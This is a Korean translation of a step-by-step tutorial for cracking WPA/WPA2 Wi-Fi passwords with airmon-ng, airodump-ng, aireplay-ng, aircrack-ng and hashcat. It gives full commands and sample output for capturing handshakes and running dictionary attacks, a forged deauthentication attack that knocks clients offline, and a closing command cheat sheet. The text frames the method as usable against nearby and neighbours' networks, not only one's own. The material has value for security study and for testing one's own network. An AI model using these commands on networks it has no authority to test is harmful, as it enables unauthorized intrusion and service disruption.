
Airodump-ng와 Aircrack-ng/Hashcat을 사용하여 WPA/WPA2 Wi-Fi 라우터 크랙하기
Crack WPA/WPA2 Wi-Fi Routers with Airodump-ng and Aircrack-ng/Hashcat.
이것은 약한 비밀번호로 보호된 Wi-Fi 네트워크를 크랙하는 방법을 설명하는 간단한 실습 튜토리얼입니다. 포괄적이지는 않지만, 자신의 네트워크 보안을 테스트하거나 주변 네트워크에 침투하기에 충분한 정보를 제공해야 합니다. 아래에 설명된 공격은 완전히 수동적(컴퓨터에서 아무것도 전송하지 않고 듣기만 함)이며, 크랙한 비밀번호를 실제로 사용하지 않는 한 탐지가 불가능합니다. 선택적 활성 Deauth 공격은 정찰 과정을 가속화하는 데 사용될 수 있으며, 이 문서의 끝에서 설명됩니다.
이 과정에 익숙하다면 설명을 건너뛰고 하단의 명령어 목록으로 바로 이동할 수 있습니다. 다양한 제안 및 대체 방법은 부록을 참조하세요. neal1991 및 tiiime이 이 문서의 중국어 번역 및 부록을 제공해 주셨습니다.
면책 조항: 이 소프트웨어/튜토리얼은 교육 목적으로만 제공됩니다. 불법 활동에 사용해서는 안 됩니다. 작성자는 그 사용에 대한 책임을 지지 않습니다. 나쁜 짓 하지 마세요.
이 튜토리얼은 다음을 가정합니다:
sudo apt-get install aircrack-ng다음을 사용하여 모니터 모드를 지원하는 무선 인터페이스를 나열합니다:
airmon-ng
인터페이스가 나열되지 않으면 무선 카드가 모니터 모드를 지원하지 않는 것입니다 😞
무선 인터페이스 이름이 wlan0이라고 가정하지만, 다를 경우 올바른 이름을 사용하십시오.
다음으로 인터페이스를 모니터 모드로 전환합니다:
airmon-ng start wlan0
iwconfig를 실행하십시오. 이제 새로운 모니터 모드 인터페이스(보통 mon0 또는 wlan0mon)가 나열된 것을 볼 수 있습니다.
모니터 인터페이스를 사용하여 주변 무선 라우터가 브로드캐스트하는 802.11 비콘 프레임을 청취하기 시작합니다:
airodump-ng mon0
아래와 유사한 출력이 표시되어야 합니다.
CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
14:91:82:F7:52:EB -66 205 26 0 1 54e OPN belkin.2e8.guests
14:91:82:F7:52:E8 -64 212 56 0 1 54e WPA2 CCMP PSK belkin.2e8
14:22:DB:1A:DB:64 -81 44 7 0 1 54 WPA2 CCMP <length: 0>
14:22:DB:1A:DB:66 -83 48 0 0 1 54e. WPA2 CCMP PSK steveserro
9C:5C:8E:C9:AB:C0 -81 19 0 0 3 54e WPA2 CCMP PSK hackme
00:23:69:AD:AF:94 -82 350 4 0 1 54e WPA2 CCMP PSK Kaitlin's Awesome
06:26:BB:75:ED:69 -84 232 0 0 1 54e. WPA2 CCMP PSK HH2
78:71:9C:99:67:D0 -82 339 0 0 1 54e. WPA2 CCMP PSK ARRIS-67D2
9C:34:26:9F:2E:E8 -85 40 0 0 1 54e. WPA2 CCMP PSK Comcast_2EEA-EXT
BC:EE:7B:8F:48:28 -85 119 10 0 1 54e WPA2 CCMP PSK root
EC:1A:59:36:AD:CA -86 210 28 0 1 54e WPA2 CCMP PSK belkin.dca
이 데모의 목적상, 저의 네트워크인 "hackme"의 비밀번호를 크랙하도록 선택하겠습니다. airodump-ng에 표시된 BSSID MAC 주소와 채널(CH) 번호를 기억하세요. 다음 단계에서 둘 다 필요합니다.
WPA/WPA2는 4-way 핸드셰이크를 사용하여 장치를 네트워크에 인증합니다. 이것이 무엇을 의미하는지 알 필요는 없지만, 네트워크 비밀번호를 크랙하려면 이러한 핸드셰이크 중 하나를 캡처해야 합니다. 이 핸드셰이크는 장치가 네트워크에 연결될 때마다 발생합니다(예: 이웃이 퇴근 후 집에 돌아올 때). 이전 명령에서 찾은 채널과 BSSID 값을 사용하여 airmon-ng로 대상 네트워크의 트래픽을 모니터링함으로써 이 핸드셰이크를 캡처합니다.
# replace -c and --bssid values with the values of your target network
# -w specifies the directory where we will save the packet capture
airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0
CH 6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -47 0 140 0 0 6 54e WPA2 CCMP PSK ASUS
이제 기다립니다... 핸드셰이크를 캡처하면 화면 오른쪽 상단, 현재 시간 바로 오른쪽에 [ WPA handshake: bc:d3:c9:ef:d2:67와 같은 내용이 표시됩니다.
참을성이 없고 활성 공격을 사용하는 데 익숙하다면, 대상 네트워크에 연결된 장치에 악의적인 deauthentication 패킷을 보내 재연결을 강제할 수 있습니다. 이는 종종 4-way 핸드셰이크를 캡처하게 합니다. 이에 대한 정보는 아래의 Deauth 공격 섹션을 참조하세요.
핸드셰이크를 캡처했으면 ctrl-c를 눌러 airodump-ng를 종료하십시오. airodump-ng에 캡처를 저장하라고 지정한 곳에 .cap 파일(아마 -01.cap이라는 이름)이 보일 것입니다. 이 캡처 파일을 사용하여 네트워크 비밀번호를 크랙할 것입니다. 저는 이 파일의 이름을 크랙하려는 네트워크 이름을 반영하도록 변경하는 것을 좋아합니다:
mv ./-01.cap hackme.cap
마지막 단계는 캡처된 핸드셰이크를 사용하여 비밀번호를 크랙하는 것입니다. GPU에 접근할 수 있다면, 비밀번호 크래킹에 hashcat을 사용하는 것을 강력히 권장합니다. 저는 hashcat을 매우 쉽게 사용할 수 있도록 하는 naive-hashcat이라는 간단한 도구를 만들었습니다. GPU에 접근할 수 없다면, GPUHASH.me 또는 OnlineHashCrack과 같은 다양한 온라인 GPU 크래킹 서비스를 사용할 수 있습니다. Aircrack-ng으로 CPU 크래킹을 시도할 수도 있습니다.
아래의 두 공격 방법은 모두 상대적으로 약한 사용자 생성 비밀번호를 가정합니다. 대부분의 WPA/WPA2 라우터는 많은 사용자가 (당연히) 변경하지 않고 그대로 두는 강력한 12자 랜덤 비밀번호와 함께 제공됩니다. 이러한 비밀번호 중 하나를 크랙하려는 경우 Probable-Wordlists WPA-length 사전 파일을 사용하는 것이 좋습니다.
naive-hashcat을 사용한 크래킹 (권장)naive-hashcat을 사용하여 비밀번호를 크랙하기 전에 .cap 파일을 해당 hashcat 파일 형식인 .hccapx로 변환해야 합니다. .cap 파일을 https://hashcat.net/cap2hccapx/에 업로드하거나 cap2hccapx 도구를 직접 사용하여 쉽게 수행할 수 있습니다.
cap2hccapx.bin hackme.cap hackme.hccapx
다음으로 naive-hashcat을 다운로드하고 실행합니다:
# download
git clone https://github.com/brannondorsey/naive-hashcat
cd naive-hashcat
# download the 134MB rockyou dictionary file
curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# crack ! baby ! crack !
# 2500 is the hashcat hash mode for WPA/WPA2
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
Naive-hashcat은 다양한 사전, 규칙, 조합 및 마스크(스마트 무차별 대입) 공격을 사용하며, 중간 강도의 비밀번호에 대해 실행하는 데 며칠 또는 몇 달이 걸릴 수 있습니다. 크랙된 비밀번호는 hackme.pot에 저장되므로 이 파일을 주기적으로 확인하십시오. 비밀번호를 크랙하면 POT_FILE의 내용으로 다음과 같은 것이 표시됩니다:
e30a5a57fc00211fc9f57a4491508cc3:9c5c8ec9abc0:acd1b8dfd971:ASUS:hacktheplanet
여기서 :로 구분된 마지막 두 필드는 각각 네트워크 이름과 비밀번호입니다.
naive-hashcat 없이 hashcat을 사용하고 싶다면 이 페이지에서 정보를 확인하세요.
Aircrack-ng는 CPU에서 실행되는 매우 기본적인 사전 공격에 사용될 수 있습니다. 공격을 실행하기 전에 단어 목록이 필요합니다. 유명한 rockyou 사전 파일을 사용하는 것을 권장합니다:
# download the 134MB rockyou dictionary file
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
네트워크 비밀번호가 단어 파일에 없으면 비밀번호를 크랙할 수 없습니다.
# -a2 specifies WPA2, -b is the BSSID, -w is the wordfile
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt hackme.cap
비밀번호가 크랙되면 터미널에 KEY FOUND! 메시지와 함께 네트워크 비밀번호의 평문 버전이 표시됩니다.
Aircrack-ng 1.2 beta3
[00:01:49] 111040 keys tested (1017.96 k/s)
KEY FOUND! [ hacktheplanet ]
Master Key : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89
59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E
Transient Key : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71
2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73
6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78
8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21
EAPOL HMAC : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4
Deauth 공격은 귀하의 시스템에서 크랙하려는 네트워크에 연결된 클라이언트로 위조된 deauthentication 패킷을 보냅니다. 이 패킷에는 클라이언트가 액세스 포인트 자체에서 보낸 것처럼 보이게 하는 가짜 "송신자" 주소가 포함됩니다. 이러한 패킷을 수신하면 대부분의 클라이언트는 네트워크에서 연결을 끊고 즉시 다시 연결되므로, airodump-ng로 청취하고 있다면 4-way 핸드셰이크를 제공합니다.
특정 액세스 포인트를 모니터링하기 위해 airodump-ng를 사용하여 (-c 채널 --bssid MAC 사용) 클라이언트(STATION)가 연결될 때까지 기다립니다. 연결된 클라이언트는 다음과 같이 보이며, 여기서 64:BC:0C:48:97:F7은 클라이언트 MAC입니다.
CH 6 ][ Elapsed: 2 mins ][ 2017-07-23 19:15 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -19 75 1043 144 10 6 54e WPA2 CCMP PSK ASUS
BSSID STATION PWR Rate Lost Frames Probe
9C:5C:8E:C9:AB:C0 64:BC:0C:48:97:F7 -37 1e- 1e 4 6479 ASUS
이제 airodump-ng를 실행 중인 상태로 두고 새 터미널을 엽니다. aireplay-ng 명령을 사용하여 피해자 클라이언트에 가짜 deauth 패킷을 보내 네트워크에 다시 연결하도록 강제하고, 그 과정에서 핸드셰이크를 획득하기를 바랍니다.
# -0 2 specifies we would like to send 2 deauth packets. Increase this number
# if need be with the risk of noticeably interrupting client network activity
# -a is the MAC of the access point
# -c is the MAC of the client
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
선택적으로 모든 연결된 클라이언트에 deauth 패킷을 브로드캐스트할 수 있습니다:
# not all clients respect broadcast deauths though
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 mon0
Deauth 패킷을 전송했으면 airodump-ng 프로세스로 돌아가서, 운이 좋다면 오른쪽 상단에 다음과 같은 내용이 표시됩니다: [ WPA handshake: 9C:5C:8E:C9:AB:C0. 이제 핸드셰이크를 캡처했으므로 네트워크 비밀번호 크래킹을 진행할 준비가 되었습니다.
Below is a list of all of the commands needed to crack a WPA/WPA2 network, in order, with minimal explanation.
# put your network device into monitor mode
airmon-ng start wlan0
# listen for all nearby beacon frames to get target BSSID and channel
airodump-ng mon0
# start listening for the handshake
airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0
# optionally deauth a connected client to force a handshake
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
########## crack password with aircrack-ng... ##########
# download 134MB rockyou.txt dictionary file if needed
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# crack w/ aircrack-ng
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap
########## or crack password with naive-hashcat ##########
# convert cap to hccapx
cap2hccapx.bin capture/-01.cap capture/-01.hccapx
# crack with naive-hashcat
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
이 튜토리얼에 대한 반응이 너무 좋아서 커뮤니티 구성원의 제안과 추가 자료를 부록에 추가했습니다. 확인해 보면 다음을 배울 수 있습니다:
wlandump-ng로 주변 모든 네트워크의 핸드셰이크 캡처crunch를 사용하여 100GB 이상의 단어 목록을 즉석에서 생성macchanger로 MAC 주소 스푸핑부록의 중국어 버전도 제공됩니다.
여기에 제시된 많은 정보는 Lewis Encarnación의 훌륭한 튜토리얼에서 얻었습니다. 또한 Aircrack-ng와 Hashcat에서 작업하는 훌륭한 저자와 관리자분들께 감사드립니다.
이 튜토리얼을 중국어로 번역해 주신 neal1991과 tiiime께 깊은 감사를 드립니다. 또한 Reddit과 GitHub에서 제안과 오타 수정을 제공해 주신 yizhiheng, hiteshnayak305, enilfodne, DrinkMoreCodeMore, hivie7510, cprogrammer1994, 0XE4, hartzell, zeeshanu, flennic, bhusang, tversteeg, gpetrousov, crowchirp 및 Shark0der에게도 감사드립니다. WPA2에 대한 제안된 대안에 관심이 있으시면 이 Hacker News 게시물의 훌륭한 토론을 확인해 보세요.